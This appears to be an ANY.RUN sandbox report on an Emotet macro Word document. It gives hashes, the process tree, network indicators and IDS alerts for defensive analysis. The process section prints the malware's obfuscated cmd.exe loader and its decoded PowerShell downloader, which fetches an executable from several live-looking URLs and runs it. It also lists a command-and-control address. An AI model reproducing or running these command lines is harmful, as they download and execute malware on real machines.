analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

122018

Full analysis: https://app.any.run/tasks/d33439c4-bd43-42e7-b6ca-2f603eaa6799
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 07:24:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
trojan
emotet
feodo
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Dec 17 10:58:00 2018, Last Saved Time/Date: Mon Dec 17 10:58:00 2018, Number of Pages: 1, Number of Words: 7, Number of Characters: 43, Security: 0
MD5:

51C42BB97829A343A4A4DBB21DFCB69B

SHA1:

B3FFD58B883CA42BDB06FCD14F544D13F0C42C67

SHA256:

D1A6784D0318BC92859A33AE5C4EA6F593DEB148DE4599D1DD14CFE807589E55

SSDEEP:

1536:i7ljmW9/bvFYaMpsDq3dBOgbBcWQrS+a9:Il/bvFNMhbBcWQ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2956)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2956)

    • Application was dropped or rewritten from another process

      • 682.exe (PID: 1240)
      • 682.exe (PID: 3984)
      • archivesymbol.exe (PID: 2444)
      • archivesymbol.exe (PID: 3104)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2740)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 2524)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2524)

    • Changes the autorun value in the registry

      • archivesymbol.exe (PID: 3104)

    • EMOTET was detected

      • archivesymbol.exe (PID: 3104)

    • Connects to CnC server

      • archivesymbol.exe (PID: 3104)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 1976)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2524)
      • 682.exe (PID: 1240)

    • Creates files in the user directory

      • powershell.exe (PID: 2524)

    • Starts itself from another location

      • 682.exe (PID: 1240)

    • Connects to unusual port

      • archivesymbol.exe (PID: 3104)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2956)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2956)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:17 10:58:00
ModifyDate: 2018:12:17 10:58:00
Pages: 1
Words: 7
Characters: 43
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 49
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
8
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe 682.exe no specs 682.exe archivesymbol.exe no specs #EMOTET archivesymbol.exe

Process information

PID
CMD
Path
Indicators
Parent process
2956"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\122018.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1976c:\MUijNfToFRIo\jbzsiqGSRj\nCMKAmdo\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set nMC=zjwlMbjnVGzanBJrPJNkcdOv:@uhS9yemDp';s =6UQ/}AIxW(\-0+.o17iHXt,fg{)$82Y3ZCF&&for %j in (67;41;32;10;39;35;48;12;55;35;36;67;5;6;3;39;12;31;2;51;55;5;6;31;20;61;38;18;31;61;54;48;31;5;73;3;58;31;12;61;36;67;72;2;58;39;35;27;61;61;34;24;43;43;37;61;15;58;19;31;71;34;15;55;21;26;20;61;58;55;12;37;54;20;55;32;43;63;59;60;21;59;37;31;55;52;25;27;61;61;34;24;43;43;6;55;32;6;55;32;37;61;26;21;58;55;54;20;55;32;43;33;61;47;8;3;28;26;25;27;61;61;34;24;43;43;26;3;26;37;27;11;5;31;15;54;20;55;32;43;52;70;70;42;19;47;26;70;56;25;27;61;61;34;24;43;43;21;15;11;34;11;15;61;54;55;15;64;43;32;30;73;32;47;28;9;29;25;27;61;61;34;24;43;43;5;58;3;3;63;15;58;61;10;6;15;54;20;55;32;43;10;72;45;60;29;11;57;29;52;17;35;54;28;34;3;58;61;49;35;25;35;66;36;67;42;23;28;39;35;37;61;3;35;36;67;60;23;9;38;39;38;35;40;68;69;35;36;67;4;74;17;39;35;72;4;72;35;36;67;6;70;21;39;67;31;12;23;24;61;31;32;34;53;35;50;35;53;67;60;23;9;53;35;54;31;47;31;35;36;63;55;15;31;11;20;27;49;67;48;63;48;38;58;12;38;67;72;2;58;66;65;61;15;30;65;67;5;6;3;54;33;55;2;12;3;55;11;21;74;58;3;31;49;67;48;63;48;62;38;67;6;70;21;66;36;67;60;20;46;39;35;41;3;21;35;36;46;63;38;49;49;9;31;61;51;46;61;31;32;38;67;6;70;21;66;54;3;31;12;64;61;27;38;51;64;31;38;68;52;52;52;52;66;38;65;46;12;23;55;19;31;51;46;61;31;32;38;67;6;70;21;36;67;2;32;34;39;35;10;6;32;35;36;5;15;31;11;19;36;44;44;20;11;61;20;27;65;44;44;67;2;5;5;39;35;70;55;34;35;36;83)do set mzDP=!mzDP!!nMC:~%j,1!&&if %j gtr 82 powershell.exe "!mzDP:~-451!""c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2740CmD /V:ON/C"set nMC=zjwlMbjnVGzanBJrPJNkcdOv:@uhS9yemDp';s =6UQ/}AIxW(\-0+.o17iHXt,fg{)$82Y3ZCF&&for %j in (67;41;32;10;39;35;48;12;55;35;36;67;5;6;3;39;12;31;2;51;55;5;6;31;20;61;38;18;31;61;54;48;31;5;73;3;58;31;12;61;36;67;72;2;58;39;35;27;61;61;34;24;43;43;37;61;15;58;19;31;71;34;15;55;21;26;20;61;58;55;12;37;54;20;55;32;43;63;59;60;21;59;37;31;55;52;25;27;61;61;34;24;43;43;6;55;32;6;55;32;37;61;26;21;58;55;54;20;55;32;43;33;61;47;8;3;28;26;25;27;61;61;34;24;43;43;26;3;26;37;27;11;5;31;15;54;20;55;32;43;52;70;70;42;19;47;26;70;56;25;27;61;61;34;24;43;43;21;15;11;34;11;15;61;54;55;15;64;43;32;30;73;32;47;28;9;29;25;27;61;61;34;24;43;43;5;58;3;3;63;15;58;61;10;6;15;54;20;55;32;43;10;72;45;60;29;11;57;29;52;17;35;54;28;34;3;58;61;49;35;25;35;66;36;67;42;23;28;39;35;37;61;3;35;36;67;60;23;9;38;39;38;35;40;68;69;35;36;67;4;74;17;39;35;72;4;72;35;36;67;6;70;21;39;67;31;12;23;24;61;31;32;34;53;35;50;35;53;67;60;23;9;53;35;54;31;47;31;35;36;63;55;15;31;11;20;27;49;67;48;63;48;38;58;12;38;67;72;2;58;66;65;61;15;30;65;67;5;6;3;54;33;55;2;12;3;55;11;21;74;58;3;31;49;67;48;63;48;62;38;67;6;70;21;66;36;67;60;20;46;39;35;41;3;21;35;36;46;63;38;49;49;9;31;61;51;46;61;31;32;38;67;6;70;21;66;54;3;31;12;64;61;27;38;51;64;31;38;68;52;52;52;52;66;38;65;46;12;23;55;19;31;51;46;61;31;32;38;67;6;70;21;36;67;2;32;34;39;35;10;6;32;35;36;5;15;31;11;19;36;44;44;20;11;61;20;27;65;44;44;67;2;5;5;39;35;70;55;34;35;36;83)do set mzDP=!mzDP!!nMC:~%j,1!&&if %j gtr 82 powershell.exe "!mzDP:~-451!""C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2524powershell.exe "$Umz='Wno';$bjl=new-object Net.WebClient;$Zwi='http://strike3productions.com/fHXdHseo0@http://jomjomstudio.com/DtxVlSu@http://ulushaber.com/0YYQkxuY1@http://drapart.org/myCmxSG9@http://billfritzjr.com/zZAX9a790J'.Split('@');$QvS='stl';$XvG = '682';$MFJ='ZMZ';$jYd=$env:temp+'\'+$XvG+'.exe';foreach($WfW in $Zwi){try{$bjl.DownloadFile($WfW, $jYd);$XcI='Uld';If ((Get-Item $jYd).length -ge 80000) {Invoke-Item $jYd;$wmp='zjm';break;}}catch{}}$wbb='Yop';"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3984"C:\Users\admin\AppData\Local\Temp\682.exe" C:\Users\admin\AppData\Local\Temp\682.exe—powershell.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
1240"C:\Users\admin\AppData\Local\Temp\682.exe"C:\Users\admin\AppData\Local\Temp\682.exe
682.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
2444"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe—682.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
3104"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe
archivesymbol.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Version:
8.00.0.010
Total events
1 781
Read events
1 298
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5

Dropped files

PID
Process
Filename
Type
2956WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA6B3.tmp.cvr —
MD5:—
SHA256:—
2956WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2A293DF6.wmf —
MD5:—
SHA256:—
2956WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4F67B574.wmf —
MD5:—
SHA256:—
2524powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FIHA6D2HFU7XHQ0S8PJ1.temp —
MD5:—
SHA256:—
2956WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EB68E589.wmfwmf
MD5:4A82F8435D1CE7D9E2EF36C836CA4915
SHA256:28C253BF46501970377BD18080F725FAA4660281588601902C67F345BB67BFA4
2956WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9FCE297F.wmfwmf
MD5:92D83D1D5633AE9FEBEFB78C26369386
SHA256:CF41908CBCFED9349F559F620293C7BCB5524E32DF930563DB35D5BDA9207A2D
1240682.exeC:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exeexecutable
MD5:F5253E99CC237AC32C7CF731DBD37196
SHA256:EF17BA94CA016E111D1AAFF149513FA4FC4DF7F6D1F3F03B3EB491644AE24DF4
2524powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b48e.TMPbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
2524powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
2956WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:50A86E68F8FB56064826C6DA199585AE
SHA256:847B76C0E8072A6A5E2A3F7AECF864696EFB4AE6E9A057445586A7E747C804F8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
4
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2524
powershell.exe
GET
—
103.27.201.8:80
http://jomjomstudio.com/DtxVlSu/
TH
—
—
malicious
2524
powershell.exe
GET
404
103.4.235.152:80
http://strike3productions.com/fHXdHseo0
AU
html
326 b
malicious
2524
powershell.exe
GET
301
103.27.201.8:80
http://jomjomstudio.com/DtxVlSu
TH
html
240 b
malicious
3104
archivesymbol.exe
GET
200
213.120.119.231:8443
http://213.120.119.231:8443/
GB
binary
132 b
malicious
2524
powershell.exe
GET
200
134.0.10.197:80
http://drapart.org/myCmxSG9/
ES
executable
124 Kb
malicious
2524
powershell.exe
GET
301
134.0.10.197:80
http://drapart.org/myCmxSG9
ES
html
236 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2524
powershell.exe
103.4.235.152:80
strike3productions.com
TPG Telecom Limited
AU
malicious
2524
powershell.exe
134.0.10.197:80
drapart.org
10dencehispahard, S.L.
ES
malicious
2524
powershell.exe
103.27.201.8:80
jomjomstudio.com
Bangmod Enterprise Co., Ltd.
TH
malicious
3104
archivesymbol.exe
213.120.119.231:8443
—
British Telecommunications PLC
GB
malicious

DNS requests

Domain
IP
Reputation
strike3productions.com
  • 103.4.235.152
malicious
jomjomstudio.com
  • 103.27.201.8
malicious
ulushaber.com
  • —
malicious
drapart.org
  • 134.0.10.197
malicious

Threats

PID
Process
Class
Message
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2524
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2524
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2524
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2524
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3104
archivesymbol.exe
A Network Trojan was detected
SC TROJAN Malicious behavior by Trojan-Banker.Win32.Emotet
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
122018